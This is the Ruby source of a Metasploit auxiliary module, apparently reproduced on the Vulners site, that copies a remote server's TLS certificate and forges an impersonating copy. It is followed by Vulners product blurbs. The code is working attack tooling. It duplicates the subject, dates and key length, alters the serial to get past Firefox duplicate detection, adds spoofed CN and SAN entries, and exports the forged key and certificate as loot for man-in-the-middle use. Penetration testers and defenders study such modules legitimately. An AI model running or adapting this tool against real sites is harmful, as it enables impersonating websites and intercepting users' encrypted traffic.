##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Rex::Socket::SslTcp
def initialize(info = {})
super(
update_info(
info,
'Name' => 'HTTP SSL Certificate Impersonation',
'Author' => 'Chris John Riley',
'References' =>
[
['URL', 'https://www.slideshare.net/ChrisJohnRiley/ssl-certificate-impersonation-for-shits-andgiggles']
],
'License' => MSF_LICENSE,
'Description' => %q{
This module request a copy of the remote SSL certificate and creates a local
(self.signed) version using the information from the remote version. The module
then Outputs (PEM|DER) format private key / certificate and a combined version
for use in Apache or other Metasploit modules requiring SSLCert Inputs for private
key / CA cert have been provided for those with DigiNotar certs hanging about!
}
)
)
register_options(
[
Opt::RPORT(443),
OptString.new('SSLServerNameIndication', [ false, 'SSL/TLS Server Name Indication (SNI)', nil], aliases: ['SNI']),
OptEnum.new('OUT_FORMAT', [true, 'Output format', 'PEM', ['DER', 'PEM']]),
OptString.new('EXPIRATION', [false, 'Date the new cert should expire (e.g. 06 May 2012, YESTERDAY or NOW)', nil]),
OptPath.new('PRIVKEY', [false, 'Sign the cert with your own CA private key', nil]),
OptString.new('PRIVKEY_PASSWORD', [false, 'Password for private key specified in PRIV_KEY (if applicable)', nil]),
OptPath.new('CA_CERT', [false, 'CA Public certificate', nil]),
OptString.new('ADD_CN', [false, 'Add CN to match spoofed site name (e.g. *.example.com)', nil]),
OptString.new('ADD_SAN', [false, 'Add SAN entries to certificate (e.g. alt.example.com,127.0.0.1)', nil])
]
)
register_advanced_options(
[
OptBool.new('AlterSerial', [false, 'Alter the serial number slightly to avoid FireFox serial matching', true])
]
)
end
def get_cert(rhost, rport, sni)
info_hash = {'PeerHost' => sni, 'PeerAddr' => rhost, 'PeerPort' => rport.to_s}
sslSocket = Rex::Socket::SslTcp.create(info_hash)
cert = sslSocket.peer_cert
sslSocket.close
cert
end
def run
if !datastore['SSLServerNameIndication'].nil?
sni = datastore['SSLServerNameIndication']
print_status("Connecting to #{rhost}:#{rport} SNI:#{sni}")
else
sni = false
print_status("Connecting to #{rhost}:#{rport}")
end
if !datastore['PRIVKEY'].nil? && !datastore['CA_CERT'].nil?
print_status('Signing generated certificate with provided PRIVATE KEY and CA Certificate')
if !datastore['PRIVKEY_PASSWORD'].nil? && !datastore['PRIVKEY_PASSWORD'].empty?
ca_key = OpenSSL::PKey::RSA.new(File.read(datastore['PRIVKEY']), datastore['PRIVKEY_PASSWORD'])
else
ca_key = OpenSSL::PKey::RSA.new(File.read(datastore['PRIVKEY']))
end
ca = OpenSSL::X509::Certificate.new(File.read(datastore['CA_CERT']))
elsif !datastore['PRIVKEY'].nil? || !datastore['CA_CERT'].nil?
# error if both PRIVKEY and CA_CERT are not BOTH provided
print_error('CA Certificate AND Private Key must be provided!')
return
end
begin
cert = get_cert(rhost, rport, sni)
disconnect
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE => e
print_error(e.message)
end
if !cert
print_error("#{rhost}:#{rport} No certificate subject or CN found")
return
end
print_status("Copying certificate from #{rhost}:#{rport}\n#{cert.subject} ")
vprint_status("Original Certificate Details\n\n#{cert.to_text}")
begin
keylength = /Key: \((\d+)/i.match(cert.signature_algorithm)[1] # Grab keylength from target cert
rescue StandardError
keylength = 1024
end
begin
hashtype = /Algorithm: (\w+)With/i.match(cert.to_text)[1] # Grab hashtype from target cert
rescue StandardError
hashtype = 'sha1'
end
new_cert = OpenSSL::X509::Certificate.new
ef = OpenSSL::X509::ExtensionFactory.new
# Duplicate information from the remote certificate
entries = ['version', 'serial', 'subject', 'not_before', 'not_after']
entries.each do |ent|
new_cert.send("#{ent}=", cert.send(ent))
end
# add additional Common Name to the new cert
if !datastore['ADD_CN'].nil? && !datastore['ADD_CN'].empty?
new_cert.subject = OpenSSL::X509::Name.new(new_cert.subject.to_a << ['CN', datastore['ADD_CN'].to_s])
print_status("Adding #{datastore['ADD_CN']} to the end of the certificate subject")
vprint_status("Certificate Subject: #{new_cert.subject}")
end
if !datastore['EXPIRATION'].nil? && !datastore['EXPIRATION'].empty?
# alter the not_after and not_before dates
print_status("Altering certificate expiry information to #{datastore['EXPIRATION']}")
case datastore['EXPIRATION'].downcase
when 'yesterday'
new_cert.not_after = 24.hours.ago
new_cert.not_before = 1.year.ago - 24.hours # set start date (1 year cert)
when 'now'
new_cert.not_after = Time.now
new_cert.not_before = 1.year.ago # set start date (1 year cert)
else
new_cert.not_after = Time.parse(datastore['EXPIRATION'])
new_cert.not_before = Time.parse(datastore['EXPIRATION']) - 1.year # set start date (1 year cert)
end
vprint_status("Certificate expiry date set to #{new_cert.not_after}")
end
# Alter serial to avoid duplicate issuer/serial detection
if datastore['AlterSerial']
if (cert.serial.to_s.length > 1)
# alter last digits of the serial number
new_cert.serial = (cert.serial.to_s[0..-2] + rand(0xFF).to_s).to_i
else
# serial is too small, create random serial
vprint_error('The serial number of the original cert is too short. Creating new random serial')
new_cert.serial = rand(0xFFFF)
end
else
# match serial number
new_cert.serial = cert.serial.to_s
end
if !datastore['PRIVKEY'].nil? && !datastore['PRIVKEY'].empty?
new_cert.public_key = ca_key.public_key
ef.subject_certificate = ca
ef.issuer_certificate = ca
new_cert.issuer = ca.subject
print_status("Using private key #{datastore['PRIVKEY']}")
else
new_key = OpenSSL::PKey::RSA.new(keylength.to_i)
new_cert.public_key = new_key.public_key
ef.subject_certificate = new_cert
ef.issuer_certificate = new_cert
if !datastore['ADD_CN'].nil? && !datastore['ADD_CN'].empty?
new_cert.issuer = new_cert.subject
else
new_cert.issuer = cert.subject
end
end
new_cert.extensions = [
ef.create_extension('basicConstraints', 'CA:FALSE', true),
ef.create_extension('subjectKeyIdentifier', 'hash'),
]
# Add additional SAN entries to the new cert. See https://support.f5.com/csp/article/K13471
# for an example of how this added SAN field is expected to look like in a certificate.
if !datastore['ADD_SAN'].nil? && !datastore['ADD_SAN'].empty?
sans = datastore['ADD_SAN'].to_s.split(/,/)
sans.map! do |san|
san = (san =~ Resolv::IPv4::Regex || san =~ Resolv::IPv6::Regex) ? "IP:#{san}" : "DNS:#{san}"
end
new_cert.add_extension(ef.create_extension('subjectAltName', sans.join(','), false))
print_status("Adding #{datastore['ADD_SAN']} to the certificate subject alternative names")
end
if !datastore['PRIVKEY'].nil? && !datastore['PRIVKEY'].empty?
new_cert.sign(ca_key, OpenSSL::Digest.new(hashtype))
new_key = ca_key # Set for file output
else
new_cert.sign(new_key, OpenSSL::Digest.new(hashtype))
end
vprint_status("Duplicate Certificate Details\n\n#{new_cert.to_text}")
print_status('Beginning export of certificate files')
priv_key = new_key.send("to_#{datastore['OUT_FORMAT'].downcase}")
cert_crt = new_cert.send("to_#{datastore['OUT_FORMAT'].downcase}")
combined = new_key.send('to_pem') + new_cert.send('to_pem')
addr = Rex::Socket.getaddress(rhost) # Convert rhost to ip for DB
print_status("Creating looted key/crt/pem files for #{rhost}:#{rport}")
p = store_loot("#{datastore['RHOST'].downcase}_key", datastore['OUT_FORMAT'].downcase, addr, priv_key, 'imp_ssl.key', 'Impersonate_SSL')
print_good("key: #{p}")
p = store_loot("#{datastore['RHOST'].downcase}_cert", datastore['OUT_FORMAT'].downcase, addr, cert_crt, 'imp_ssl.crt', 'Impersonate_SSL')
print_good("crt: #{p}")
p = store_loot("#{datastore['RHOST'].downcase}_pem", 'pem', addr, combined, 'imp_ssl.pem', 'Impersonate_SSL')
print_good("pem: #{p}")
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation